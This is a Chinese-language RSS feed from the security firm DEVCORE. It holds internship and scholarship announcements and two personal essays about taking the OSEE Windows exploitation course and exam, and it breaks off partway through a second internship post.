DEVCORE 戴夫寇爾 DEVCORE 戴夫寇爾 - 紅隊演練服務、滲透測試服務、資安教育訓練、資安顧問服務 https://devco.re Tue, 17 Mar 2026 14:36:36 +0800 Tue, 17 Mar 2026 14:36:36 +0800 1800 DEVCORE 2026 第九屆實習生計畫 <p>DEVCORE 長期投入資安社群,推廣駭客思維,因為我們相信,知識的分享及傳承是提升技術能力的重要養分之一。我們也自 2022 年起舉辦實習生計畫,期盼透過技術的實作解析,協助同學們掌握資安檢測及漏洞挖掘的正確觀念,至今已有眾多同學加入我們,共同創造了豐碩且亮眼的成果。</p> <p>我們很高興宣布,第九屆實習生計畫將於 2026 年 3 月正式登場,即日起開放報名! 延續往屆的成功經驗,本次實習生計畫依然分為兩個組別,讓同學能依據自身的興趣與專長,深入學習並精進技能:</p> <ul> <li>Research 組:適合對漏洞研究充滿好奇心,想實際參與挖掘真實漏洞的同學</li> <li>Red Team 組:適合對紅隊技術充滿熱忱,想透過訓練精進滲透測試技巧的同學</li> </ul> <p>如果你也對滲透測試、紅隊技術、漏洞研究充滿好奇,想在資安領域拓展視野、提升實戰能力,歡迎詳閱以下資訊並立即填寫報名表單!</p> <h3 id="實習內容">實習內容</h3> <p>本次實習分為 Research 及 Red Team 兩個組別,主要內容如下:</p> <ul> <li>Research (Binary/Web) 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及撰寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。 <ul> <li>漏洞挖掘及研究 60 %</li> <li>1-day 開發 (Exploitation) 30 %</li> <li>成果報告與準備 10 %</li> </ul> </li> <li>Red Team 研究並深入學習紅隊常用技巧,熟悉實戰中會遇到的情境、語言與架構。了解常見漏洞的成因、實際利用方法、嚴苛條件下的利用策略、黑箱測試方式及各種奇技淫巧。學習後滲透時的常見限制、工具概念與原理。 <ul> <li>漏洞與技巧的研究及深入學習 70 %</li> <li>Lab 建置或 Bug Bounty 或漏洞挖掘 30 %</li> </ul> </li> </ul> <h3 id="公司地點">公司地點</h3> <p>台北市松山區八德路三段 32 號 13 樓</p> <h3 id="實習時間">實習時間</h3> <ul> <li>2026 年 3 月初到 2026 年 7 月底,共 5 個月</li> <li>每週工作兩天,工作時間為 10:00 – 18:00 <ul> <li>其中一天 14:00 - 18:00 必須到公司同步進度,其餘時間為遠端作業</li> <li>如果居住雙北外可彈性調整同步方式,但須每個組別統一</li> </ul> </li> </ul> <h3 id="招募對象">招募對象</h3> <ul> <li>具有一定程度資安背景的學生,且可每週工作兩天</li> <li>無其他招募限制,歷屆實習生可重複應徵</li> </ul> <h3 id="預計招收名額">預計招收名額</h3> <ul> <li>Research 組:2~3 人</li> <li>Red Team 組:2~6 人</li> </ul> <h3 id="薪資待遇">薪資待遇</h3> <p>每月新台幣 18,000 元(另補助部分交通費)</p> <h2 id="招募條件資格與流程">招募條件資格與流程</h2> <h3 id="實習條件要求">實習條件要求</h3> <h4 id="research-binaryweb">Research (Binary/Web)</h4> <ul> <li>基本漏洞利用及挖掘能力</li> <li>具備研究熱誠,習慣了解技術本質</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題</li> <li>具備獨立分析開放原始碼專案的能力,能透過分析程式碼理解目標專案的架構</li> <li>熟悉並理解常見的漏洞成因 <ul> <li>OWASP Web Top 10</li> <li>Memory Corruption</li> <li>Race Condition</li> <li>…</li> </ul> </li> <li>加分但<strong>非必要</strong>條件 <ul> <li>CTF 比賽經驗</li> <li>pwnable.tw 成績</li> <li>有公開的技術 blog/slide、write-ups 或是演講</li> <li>精通 IDA Pro 或 Ghidra</li> <li>熟悉任一種網頁程式語言或框架(如:PHP、ASP.NET、Express.js),具備可以建立完整網頁服務的能力</li> <li>理解 <a href="https://portswigger.net/web-security/all-materials">PortSwigger Web Security Academy</a> 中的安全議題</li> <li>獨立挖掘過 0-day 漏洞,或分析過 1-day 的經驗</li> <li>具備下列其中之一經驗 <ul> <li>Web Application Exploit</li> <li>Kernel Exploit</li> <li>Windows Exploit</li> <li>Browser Exploit</li> <li>Bug Bounty</li> </ul> </li> </ul> </li> </ul> <h4 id="red-team">Red Team</h4> <ul> <li>必要條件 <ul> <li>熟悉 OWASP Web Top 10</li> <li>理解 <a href="https://portswigger.net/web-security/all-materials">PortSwigger Web Security Academy</a> 中所有的安全議題或已完成所有 Lab</li> <li>理解計算機網路的基本概念</li> <li>熟悉任一種網頁程式開發方式(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題</li> <li>具備可以建置、設定常見伺服器(如:Nginx、Apache、Tomcat、IIS、Active Directory)及作業系統(如:Linux、Windows)的能力</li> </ul> </li> <li>加分但<strong>非必要</strong>條件 <ul> <li>曾經獨立挖掘過 0-day 漏洞</li> <li>曾經獨立分析過已知漏洞並能撰寫 1-day Exploit</li> <li>曾經於 CTF 比賽中擔任出題者並建置過題目</li> <li>擁有 OSCP 證照或同等能力之證照</li> </ul> </li> </ul> <h3 id="應徵流程">應徵流程</h3> <p>本次甄選一共分為二個階段:</p> <h4 id="第一階段書面審查">第一階段:書面審查</h4> <p>第一階段為書面審查,會需要審查下列兩個項目</p> <ul> <li>履歷內容</li> <li>簡答題答案 <ul> <li>應徵 Research 實習生: <ul> <li>題目一:漏洞重現與分析過程 <ul> <li>請提出一個,你印象最深刻或感到有趣、於西元 2023 ~ 2026 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解詳述說明漏洞的成因、利用條件和可以造成的影響。同時,嘗試描述如何復現此漏洞或攻擊鏈,即使無法成功復現,也請記錄研究過程。報告撰寫請參考<a href="/assets/files/recruit/DEVCORE-intern_vulnerability_analysis_example.pdf">範本</a>,盡可能詳細,中英不限。</li> </ul> </li> <li>題目二:實習期間想要研究的主題 <ul> <li>請提出三個可能選擇的明確主題,並簡單說明提出的理由或想完成的內容,例如: <ul> <li>研究 OO 開源軟體,找到可 RCE 的重大風險弱點。</li> <li>研究常見的路由器,目標包括:AA-123 路由器、BB-456 無線路由器。</li> <li>研究常見的筆記平台或軟體,目標包括:XX Note、YY Note。</li> </ul> </li> </ul> </li> </ul> </li> <li>應徵 Red Team 實習生: <ul> <li>請提出兩個於西元 2023 ~ 2026 年間公開的、與 Web 攻擊面、紅隊手法、漏洞或攻擊鏈相關的技術演講,請說明為什麼挑選這些演講並解釋它們為什麼有趣。 <ul> <li>請用你的理解重新以文字詳細解釋這些演講的技術細節,整理成一份 Write-up 以 PDF 格式輸出,並提供任何你覺得可以輔助或證明你理解的附加資料。</li> <li>這些演講可以來自包含但不限於 Black Hat、DEF CON、OffensiveCon、POC、Zer0Con、Hexacon、HITCON、TROOPERS CONFERENCE 等會議。</li> </ul> </li> </ul> </li> </ul> </li> </ul> <h4 id="第二階段面試">第二階段:面試</h4> <p>此階段為 30~120 分鐘(依照組別需求而定,會另行通知)的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。</p> <h4 id="時間軸">時間軸</h4> <ul> <li>2025/12/30 - 2026/01/18 公開招募,接收履歷與第一階段審核</li> <li>2026/01/19 - 2026/01/22 通知第一階段審核結果、安排面試</li> <li>2026/01/19 - 2026/02/05 第二階段面試(若報名踴躍會提前開始面試)</li> <li>2026/02/09 前回應結果</li> <li>2026/03/01 第九屆實習計畫於當週開始</li> </ul> <h3 id="報名方式">報名方式</h3> <p>請於 <strong>2026/01/18 23:59</strong> 前完成填寫 <a href="https://forms.gle/uMtitcGJ3DiuC1BdA">Google 表單</a> 並上傳相關附件。以下為填寫表單的注意事項:</p> <ul> <li>檔案經上傳後無法刪除或修改,欲更新檔案請重新填寫一份表單</li> <li>您可以隨時編輯已提交的表單,或是重新填寫一份新的表單來更新報名資訊。請注意,我們會以<strong>最後一次</strong>提交的表單內容作為審核依據</li> <li>請務必於<strong>截止時間(2026/01/18 23:59)</strong> 前完成所有表單填寫與檔案上傳,逾期未完成者將視同放棄應徵資格</li> </ul> <p>報名截止後,我們會根據您提交的報名內容進行第一階段審核。審核結果將於 <strong>2026/01/19</strong> 前通知,並安排進一步的面試。最終錄取名單將於 <strong>2026/02/09</strong> 公佈,我們也會同步通知錄取情況。</p> <p>若有應徵相關問題,請一律寄信到 [email protected],如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!</p> https://devco.re/blog/2025/12/30/9th-internship-program-recruit/ https://devco.re/blog/2025/12/30/9th-internship-program-recruit Tue, 30 Dec 2025 00:00:00 +0800 DEVCORE 2025 全國資訊安全獎學金即日起開放報名 <p>繼輔仁大學及國立臺灣科技大學戴夫寇爾資訊安全獎學金頒布後,我們很高興地宣佈,2025 年度「戴夫寇爾全國資訊安全獎學金」即日起開放報名。</p> <p>自 2012 年創立之初,DEVCORE 即秉持著提升台灣資安競爭力、讓世界更安全的初衷,將人才培育視為己任,透過參與教育部資安人才培育計畫、創立 DEVCORE 實習生計畫、啟動戴夫寇爾資安獎學金、辦理資安教育活動贊助計畫等方式,協助資安人才茁壯成長。</p> <h3 id="devcore-全國資訊安全獎學金">DEVCORE 全國資訊安全獎學金</h3> <p>我們自 2020 年首次舉辦「戴夫寇爾資安獎學金計畫」,由經營團隊的母校——輔仁大學、國立臺灣科技大學為起點,後為培育更多有志青年學子,我們也隨之擴大獎學金範圍,開放全國各地學生報名申請,鼓勵學生提升資安技術,了解資安產業生態及現況、降低學用落差,以利未來成為新一代攻擊型資安人才,為資安產業注入更多新活力。</p> <p>「戴夫寇爾全國資訊安全獎學金」歡迎所有在資安領域有傑出研究成果的學生報名申請,有意申請者須提出學習資安的動機與歷程,並繳交資安研究或比賽成果,我們將從中擇優選取 10 名,獲選者可獲最高新台幣 20,000 元整的研究補助。</p> <p>詳細申請辦法如下:</p> <ul> <li>申請資格:全國各大專院校學生皆可以申請。</li> <li>獎學金金額/名額:每年度取 10 名,每名可獲得獎學金新台幣 20,000 元整,共計 20 萬元。如報名踴躍,我們將視申請狀況增加名額。</li> <li>申請時程: <ul> <li>2025/9/8 官網公告獎學金計畫資訊</li> <li>2025/9/8 - 2025/10/5 開放收件</li> <li>2025/10/31 公布審查結果,並將於 11 至 12 月間頒發獎學金</li> </ul> </li> <li>申請辦法: <ul> <li>請依⽂件檢核表項次順序排列已附⽂件,彙整為⼀份 PDF 檔案,寄⾄ <a href="mailto:[email protected]">[email protected]</a>。</li> <li>信件主旨及 PDF 檔案名稱請符合以下格式:[全國獎學⾦申請] 學校名稱_學號_姓名(範例:[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美)。</li> <li>請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件,若⽂件不⿑或未確實勾選恕不受理申請。</li> </ul> </li> <li>須檢附文件: <ul> <li><a href="/assets/files/scholarship/戴夫寇爾全國獎學金申請表.pdf">本獎學⾦申請表</a></li> <li>在學證明</li> <li>最近⼀學期成績單</li> <li>學習資訊安全之動機與歷程⼼得⼀篇:字數 500 - 2,000 字</li> <li>資訊安全技術相關研究成果:至少須從以下六項目中擇一繳交,包含研討會投稿、漏洞獎勵計畫、弱點研究、資訊安全比賽、資安工具研究、技術文章發表等成果</li> <li>社群經營成果:至少須從以下兩項目中擇一繳交,包含校園資安社團、公開資安社群等</li> <li>推薦函:導師、系主任、其他教授或業界⼈⼠推薦函,⾄少須取得兩封以上推薦函</li> </ul> </li> </ul> https://devco.re/blog/2025/09/08/2025-devcore-cybersecurity-scholarship-application-opens/ https://devco.re/blog/2025/09/08/2025-devcore-cybersecurity-scholarship-application-opens Mon, 08 Sep 2025 00:00:00 +0800 錯過五年,我終於踏進 OSEE 的世界 <p>前面我想已經有許多篇 OSEE 心得了,多數內容應該就不再多做贅述,有興趣的同學可參考下列幾篇</p> <ul> <li><a href="/blog/2025/05/22/exp-401-osee-five-days-to-master-a-decade-of-knowledge/">EXP-401 (OSEE):用五天課程訓練通透十年的知識體系</a></li> <li><a href="/blog/2025/07/02/webdog-view-on-osee-advanced-windows-exploitation-from-0.1/">從 Web 狗的視角看 OSEE — 從 0.1 開始的 Advanced Windows Exploitation 考試</a></li> <li><a href="/blog/2025/07/11/exp-401-course-and-second-exam-thoughts/">EXP-401 課程 &amp;&amp; 第二次考試心得</a></li> </ul> <h2 id="前言">前言</h2> <p>這邊主要是以平常有在碰 Windows 的人的角度出發。老實說,大約在 5 年前就對 OSEE 這張證照略有所聞,而當時也剛好開始學一些 Windows Pwn 的相關知識,出一些 CTF 題目給大家玩玩,順便增進 Windows 知識,當時也學了一些有關 Windows Kernel 的利用技巧,不過剛開始學時也處處碰壁,花了好一段時間才慢慢學會怎麼去好好搞一個 Windows Kernel Exploit。在得知有這張證照之後,便下定決心未來某一天一定要拿到這張證照。</p> <p>大約在 2019 左右,打 CTF 漸漸的提不起興趣,慢慢的開始玩玩不同的東西,在過往 CTF 題目中,Windows 一直很少出現,但在真實世界中,卻是隨處可見,於是便開始了研究 Windows 這項旅程。在剛開始接觸 Windows Pwn 及 Windows Kernel 時,多數資源都偏舊,很多在 Windows 10 上就不能運作,在這一年,我花了許多時間逆向,慢慢了解 Windows 上的漏洞該怎麼去利用,也寫了<a href="https://www.slideshare.net/slideshow/windows-10-nt-heap-exploitation-english-version/154467191">幾個</a><a href="https://speakerdeck.com/scwuaptx/windows-kernel-heap-segment-heap-in-windows-kernel-part-1">教學投影片</a>作為紀錄。而在 2020 年開始加入 DEVCORE 之後,每一年都會訂自己的年度目標,而 OSEE 跟在 Pwn2Own 中攻破 Windows 就一直在我的目標清單中。OSEE 這張證照很特別,一定得飛去現場上完課之後才能去考試,那時候上課地點也只有 Black Hat USA,然而 2020-2022 間,剛好就遇上疫情爆發,無法直接飛出國去上課,而我的目標也漸漸地從 Windows Kernel 的漏洞利用,轉往 Windows Kernel 漏洞挖掘。但在這兩年間,卻挖不太到漏洞,2022 也頂多在 <a href="https://conf.devco.re/2024/keynote/DEVCORE-CONFERENCE-2024-Angelboy-LeakLess-Another-Leak-Way-in-Windows-Kernel-DFSC.pdf">DFSC</a> 上,挖到了幾個淺而易見的洞,但接下來很長一段時間就沒有產出了。這時也開始迷惘是不是不太適合挖 Windows Kernel,因為這個原因 2023 年初時,讓我更想拿到 OSEE 這張證照,想要證明自己在 Windows 上,還是有一定的能力的,不過當年可能是疫情關係,那年沒開課。很快地就來到 2024 年,OffSec 終於來到亞洲區開課了,並且在台灣有開 OSEE 課程,大幅省下了機票費,研究組的幾位夥伴也剛好有興趣就一起報名了這門課。</p> <h2 id="上課">上課</h2> <p>課程內容我就不多說了,在 <a href="https://devco.re/blog/2025/05/22/exp-401-osee-five-days-to-master-a-decade-of-knowledge/">EXP-401 (OSEE):用五天課程訓練通透十年的知識體系</a> 應該都有詳細介紹每一天所上課的內容,這篇只著重在個人心得方面。</p> <p>時間很快地就來到 2024 年 8 月,五天課上下來,不得不說,真的非常扎實,對於課程內容我想絕對對得起它的價錢。不論從課程的設計、題目及講師,都有非常高的品質。很後悔當初 2019 有機會去 Las Vegas 時,沒有去報名這門課,如果當初有先報這門課,我想在後面漏洞利用方面就不會卡太多時間,因為課程中提到了許許多多我當初在研究 Windows 漏洞利用時所遇到的問題。個人覺得上課好玩的地方,就是跟大家一起解 Extra Mile,就很像以前大家在寫 CTF 一樣,有一定的挑戰性,甚至有人為了 Coin 而整夜沒睡把它解完,不過我還是建議大家認真上課,可以節省很多看書的時間。</p> <p>課程內容另一個重點包括了「穩定的漏洞利用」,也非常有價值,這算是以往在打 CTF 不太會注意的事情。在現實的漏洞利用上,不論是在紅隊或是 Pwn2Own 上,通常都不允許你失敗,一旦打失敗就很有可能 BSoD 或是服務中斷,而這門課也很重視這一點,算是我在這們課中所學到最多的部分。</p> <h2 id="考試">考試</h2> <p>老實說,安排完考試後,其實還蠻擔心會不會考不過,如果平常都有在碰 Windows 還考不過,可能就是我的問題了。但剛好那段時間也在準備 OffensiveCon 演講,實在沒太多時間準備,多數還是靠這幾年玩下來的基礎來考試,另外這也是我第一次考 OffSec 系列的證照,難免也會各種擔心,會擔心我會不會看不懂題目要幹嘛,報告會不會寫太爛等等的。</p> <p>時間很快地就來到了 2025-05-31 05:00,時間實在不是很好,腦袋還是很昏沉的狀態,光是環境設定就弄了一小時。而題目就如<a href="https://offensive-security.com/awe/AWE-Exam-Report.docx">官方範例報告</a>中所述,分別就是 User Land 跟 Kernel Land 的題目。由於平常都在碰 Windows Kernel,我就決定先解這題,不過因為太常碰了,一看就知道題目要做啥,雖然中間自己 Exploit 寫錯沒發現多花了一點時間,約花 3 個小時才搞定。</p> <p>而另外一提 User Land 的題目則相對麻煩一點,除了要 Code Execution 還要 Sandbox Escape,也必須寫出不依賴任何版本的漏洞利用,題目敘述很清楚,而題目中也會有一些引導幫助你解題,你會很清楚的知道下一步該做甚麼,只要你一步一步慢慢來就可以完成。其實這題就很像在打 CTF 題目,這題我大概花了 16 小時左右解決後,就去睡覺了。</p> <p>而隔天醒來後就開始寫報告了,這時候我並沒有立即結束考試,因為考試必須要一步一步截圖,所以我還是跟著昨天的步驟慢慢寫報告,截完所需要的圖,報告寫完後才結束考。由於前面有因為報告沒有過的先例,這份我寫的特別認真,也花了 16 小時寫這份報告,總頁數寫完大概有 256 頁吧。</p> <p>考完試之後,大概一週後就順利收到通過的通知。</p> <p><img src="/assets/img/blog/20250712/08cbcbee694010404a3f73dbda56c960.png" alt="" /></p> <p>題外話,後來也和通過的同學們聊一下題目,發現原來我看錯題目了,其實<strong>不需要</strong>寫出不依賴任何版本的漏洞利用 ……</p> <blockquote> <p>題目記得看清楚一點。</p> </blockquote> <h2 id="結語">結語</h2> <p>想考五年的 OSEE 總算入手了,總算完成了一直擺在預定清單,卻一直沒有完成的項目。</p> <p>這幾年很常聽到大家說 OSEE 很難、很貴,實際上來說,如果平常有在打 CTF Pwn 題或對於 Binary 有一定程度了解的人,我想應該沒甚麼問題,可以直接上課,考試稍微複習一下即可。而如果平常很少碰 Binary 或漏洞利用,建議可以先學習一下 OSED 的內容,我覺得至少要會手動疊出 ROP 會比較適合一點。不過,比起考試,這門價值多數還是在課程上,如果你想學習 Windows 漏洞利用、想知道外面 APT 組織都是如何利用這些漏洞,還有看懂他們是怎麼去利用的,我想這門課應該非常適合你。</p> <p>而今年 DEVCORE 也有繼續推出 OSEE,機會難得,可以省下不少機票錢也不需要調時差,如果有興趣的同學可以好好把握機會,詳細內容可參考 <a href="https://training.devco.re/2025">https://training.devco.re/2025</a>。</p> https://devco.re/blog/2025/07/12/finally-stepping-into-the-world-of-osee-after-five-years/ https://devco.re/blog/2025/07/12/finally-stepping-into-the-world-of-osee-after-five-years Sat, 12 Jul 2025 00:00:00 +0800 EXP-401 課程 && 第二次考試心得 <p>「<a href="/blog/2025/05/22/exp-401-osee-five-days-to-master-a-decade-of-knowledge/">EXP-401 (OSEE):用五天課程訓練通透十年的知識體系</a>」一文中已經將 EXP-401 課程內容作了詳細的介紹,而我就是那個解出題目、卻因因為報告不夠詳盡而被判定沒過的學員,因為上一篇文章講了很多課程內容,這篇文章比較偏向個人心得及雜項碎念。(還有購買 exam retake 的過程)</p> <h2 id="心得">心得</h2> <p>課程內容和教材就不細講了,這篇會更注重在不同領域獲得的新知。</p> <p>VMware 部分讓我學到對一個看起來很難的目標要怎麼去開始,先從 RPC 開始,然後了解記憶體布局,觸發漏洞並利用。</p> <p>Edge 部分學到兩種不同的程式語言如何去交互。</p> <p>Kernel 部分,如果沒有研究 Windows 核心漏洞的經驗,課程一開始會有很多不瞭解的地方。這是非常正常的,不用太擔心。所有研究員的學習曲線都是從初學者一開始使用別人的漏洞利用程式,對漏洞逐漸了解、研究的深度逐漸增加,到可以完成自己的 exploit chain,而 Windows 研究的最後一哩路就是核心漏洞利用。</p> <p>個人經驗而言,雖然在上課前已經考過 EXP-301(OSED),但是沒有多少 Windows Kernel 的經驗,藉由循序漸進的課程設計,會慢慢了解核心利用的有趣之處。最後了解 Kernel 結構成員後,可以成功利用漏洞或核心邏輯提權。</p> <p>其他優點:</p> <ul> <li>課程上提及的主題在教材上相當完整,每一個小步驟都有 Sample Code。</li> <li>教材循序漸進講解重要觀念,甚至有包含思路中可能的試誤過程,讓你知道為什麼這樣做不能成功利用漏洞、哪一步可能出錯。</li> </ul> <p>其他缺點:</p> <ul> <li>Edge 瀏覽器的研究跟利用停留在 Chakra 引擎,而現在的舊引擎已被 Chromium 取代。</li> <li>在虛擬安全性 VBS 環境上有可解決的小問題,此問題在當時的網頁並未提及。</li> <li>沒有實體的證書及卡片。在這個電腦網路化的時代,個人覺得實體印刷的證書及卡片更有紀念價值。從 <a href="https://www.google.com/search?q=oscp+card&amp;udm=2&amp;sa=X">Google</a> 也能找到許多以前的照片。</li> </ul> <p>至於這門課程的適合對象,與 Nini 的感想類似,適合想挑戰自己、或想拓展知識體系的人。大型企業、公司並不一定會有了解或需要此技術的需求。但是課程學到的知識可以拓展到其他方面,如 Windows 惡意程式分析等。</p> <h2 id="考試心得">考試心得:</h2> <p>考前請再次詳閱 <a href="https://help.offsec.com/hc/en-us/articles/360046458732-EXP-401-Advanced-Windows-Exploitation-OSEE-Exam-Guide">Exam Guide</a>。第一次考試時不知道是太過興奮還是緊張,雖然拿到兩個 proof.txt,但是因為報告不夠詳細而被判定未通過。其中以信件詢問了一下,說是報告寫的不夠詳細。自己重新檢視後,發現文件的確寫的不夠好,甚至沒注意到在報告中放了 30 頁的 nop,真是辛苦看報告的人了。</p> <p><img src="/assets/img/blog/20250711/daf8763106e3752f60430e3028fb2a3b.png" alt="" /></p> <p><img src="/assets/img/blog/20250711/d5d967679ac1d56dc8027969575771bd.png" alt="" /></p> <p>第一次在 OffSec 的考試中因為文件不夠完整被判定未通過試驗。後來在第二次的考試中,在沒有 30 頁 nop 下寫了三倍量的文件順利通過,體感上相對比其他 OffSec 的認證還要嚴格。</p> <h2 id="retake">Retake</h2> <p>因為第一次失敗的經驗中覺得同樣難度下能順利通過,馬上預約了第二次的考試。但是你會發現在 Buy More 中會找不到 OSEE 的考試: <img src="/assets/img/blog/20250711/0f3fc5a3bb4fedd51deaaf17bb7eda9d.png" alt="" /></p> <p>詢問後很快於一天內收到回應,原來是要另外開通: <img src="/assets/img/blog/20250711/3afecdcee729143fec17c865c66418c6.png" alt="" /></p> <p>如果你也剛好沒通過的話,第一次重考需要直接聯絡、冷卻期是一個月,費用跟其他考試一樣 $249 美金。</p> <h2 id="其他沒提到的內容">其他沒提到的內容</h2> <ul> <li>這次的 EXP-401 課程已經改版了,可以參考以下新版連結。 <a href="https://manage.offsec.com/app/uploads/2025/03/AWE-Syllabus-new.pdf">https://manage.offsec.com/app/uploads/2025/03/AWE-Syllabus-new.pdf</a></li> <li><a href="https://help.offsec.com/hc/en-us/articles/35549468971156-AI-Usage-Policy-in-OffSec-Exams">OSEE 考試是唯一允許 AI 的考試。</a></li> </ul> <h2 id="extra">Extra</h2> <p>附上真相一枚:(自己印的) <img src="/assets/img/blog/20250711/86a19bde52a9bd91384e85c26bc71fae.png" alt="" /></p> <p><img src="/assets/img/blog/20250711/cc86ee81777aa149972bd573d3501331.png" alt="" /></p> <h2 id="各種參考連結">各種參考連結</h2> <ul> <li><a href="https://manage.offsec.com/app/uploads/2025/03/AWE-Syllabus-new.pdf">https://manage.offsec.com/app/uploads/2025/03/AWE-Syllabus-new.pdf</a></li> <li><a href="https://voidsec.com/offsec-exp-401-advanced-windows-exploitation-awe-course-review/">https://voidsec.com/offsec-exp-401-advanced-windows-exploitation-awe-course-review/</a></li> <li><a href="https://www.richardosgood.com/posts/advanced-windows-exploitation-review-part-2/">https://www.richardosgood.com/posts/advanced-windows-exploitation-review-part-2/</a></li> <li><a href="https://spaceraccoon.dev/awe-osee-exam/">https://spaceraccoon.dev/awe-osee-exam/</a></li> <li><a href="https://www.manufaktur-it-training.de/post/osee-review-2023">https://www.manufaktur-it-training.de/post/osee-review-2023</a></li> <li><a href="https://ommadawn46.medium.com/osee-exam-review-my-preparation-experience-and-insights-c518a75a5d0f">https://ommadawn46.medium.com/osee-exam-review-my-preparation-experience-and-insights-c518a75a5d0f</a></li> <li><a href="https://fluidattacks.com/blog/osee-review/">https://fluidattacks.com/blog/osee-review/</a></li> <li><a href="https://x.com/Yunolay/status/1796714527410823217">https://x.com/Yunolay/status/1796714527410823217</a></li> <li><a href="https://hesec.de/posts/osee-part1/">https://hesec.de/posts/osee-part1/</a></li> <li><a href="https://www.threads.net/@terryterry__/post/DHEXA62SW64">https://www.threads.net/@terryterry__/post/DHEXA62SW64</a></li> <li><a href="https://x.com/terrynini38514/status/1899297719644221941">https://x.com/terrynini38514/status/1899297719644221941</a></li> <li><a href="https://www.linkedin.com/posts/jaelkoh_osee-certification-conquered-do-the-activity-7227595431780700160-ZWYr">https://www.linkedin.com/posts/jaelkoh_osee-certification-conquered-do-the-activity-7227595431780700160-ZWYr</a></li> <li><a href="https://www.linkedin.com/posts/kosuke-hiramatsu_osee-exam-reviewmy-preparation-experience-activity-7235308873287356417-H0EN">https://www.linkedin.com/posts/kosuke-hiramatsu_osee-exam-reviewmy-preparation-experience-activity-7235308873287356417-H0EN</a></li> <li><a href="https://infosec.jaelkoh.com/2025/my-second-year-in-infosec-osee-the-odyssey">https://infosec.jaelkoh.com/2025/my-second-year-in-infosec-osee-the-odyssey</a></li> </ul> https://devco.re/blog/2025/07/11/exp-401-course-and-second-exam-thoughts/ https://devco.re/blog/2025/07/11/exp-401-course-and-second-exam-thoughts Fri, 11 Jul 2025 00:00:00 +0800 DEVCORE 2025 第八屆實習生計畫 <p>DEVCORE 長期投入資安社群,推廣駭客思維,因為我們相信,知識的分享及傳承是提升技術能力的重要養分之一。我們也自 2022 年起舉辦實習生計畫,期盼透過技術的實作解析,協助同學們掌握資安檢測及漏洞挖掘的正確觀念,至今已有眾多同學加入我們,共同創造了豐碩且亮眼的成果。</p> <p>我們很高興宣布,第八屆實習生計畫將於 2025 年 9 月正式登場,即日起開放報名! 延續往屆的成功經驗,本次實習生計畫依然分為兩個組別,讓同學能依據自身的興趣與專長,深入學習並精進技能:</p> <ul> <li>Research 組:適合對漏洞研究充滿好奇心,想實際參與挖掘真實漏洞的同學</li> <li>Red Team 組:適合對紅隊技術充滿熱忱,想透過訓練精進滲透測試技巧的同學</li> </ul> <p>特別值得一提的是,在上一屆實習計畫中,Red Team 組因申請者表現優異,我們破例超額錄取了 6 位實習生,並看到了小組成員透過團隊協作顯著的成長與進步。因此本屆我們特別調高了錄取人數上限,鼓勵更多熱情且勇於挑戰自己的同學踴躍報名,一同加入我們的行列!</p> <p>如果你也對滲透測試、紅隊技術、漏洞研究充滿好奇,想在資安領域拓展視野、提升實戰能力,歡迎詳閱以下資訊並立即填寫報名表單!</p> <h3 id="實習內容">實習內容</h3> <p>本次實習分為 Research 及 Red Team 兩個組別,主要內容如下:</p> <ul> <li>Research (Binary/Web) 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及撰寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。 <ul> <li>漏洞挖掘及研究 60 %</li> <li>1-day 開發 (Exploitation) 30 %</li> <li>成果報告與準備 10 %</li> </ul> </li> <li>Red Team 研究並深入學習紅隊常用技巧,熟悉實戰中會遇到的情境、語言與架構。了解常見漏洞的成因、實際利用方法、嚴苛條件下的利用策略、黑箱測試方式及各種奇技淫巧。學習後滲透時的常見限制、工具概念與原理。 <ul> <li>漏洞與技巧的研究及深入學習 70 %</li> <li>Lab 建置或 Bug Bounty 或漏洞挖掘 30 %</li> </ul> </li> </ul> <h3 id="公司地點">公司地點</h3> <p>台北市松山區八德路三段 32 號 13 樓</p> <h3 id="實習時間">實習時間</h3> <ul> <li>2025 年 9 月初到 2026 年 1 月底,共 5 個月</li> <li>每週工作兩天,工作時間為 10:00 – 18:00 <ul> <li>其中一天 14:00 - 18:00 必須到公司同步進度,其餘時間為遠端作業</li> <li>如果居住雙北外可彈性調整同步方式,但須每個組別統一</li> </ul> </li> </ul> <h3 id="招募對象">招募對象</h3> <ul> <li>具有一定程度資安背景的學生,且可每週工作兩天</li> <li>無其他招募限制,歷屆實習生可重複應徵</li> </ul> <h3 id="預計招收名額">預計招收名額</h3> <ul> <li>Research 組:2~3 人</li> <li>Red Team 組:2~6 人</li> </ul> <h3 id="薪資待遇">薪資待遇</h3> <p>每月新台幣 18,000 元(另補助部分交通費)</p> <h2 id="招募條件資格與流程">招募條件資格與流程</h2> <h3 id="實習條件要求">實習條件要求</h3> <h4 id="research-binaryweb">Research (Binary/Web)</h4> <ul> <li>基本漏洞利用及挖掘能力</li> <li>具備研究熱誠,習慣了解技術本質</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題</li> <li>具備獨立分析開放原始碼專案的能力,能透過分析程式碼理解目標專案的架構</li> <li>熟悉並理解常見的漏洞成因 <ul> <li>OWASP Web Top 10</li> <li>Memory Corruption</li> <li>Race Condition</li> <li>…</li> </ul> </li> <li>加分但<strong>非必要</strong>條件 <ul> <li>CTF 比賽經驗</li> <li>pwnable.tw 成績</li> <li>有公開的技術 blog/slide、write-ups 或是演講</li> <li>精通 IDA Pro 或 Ghidra</li> 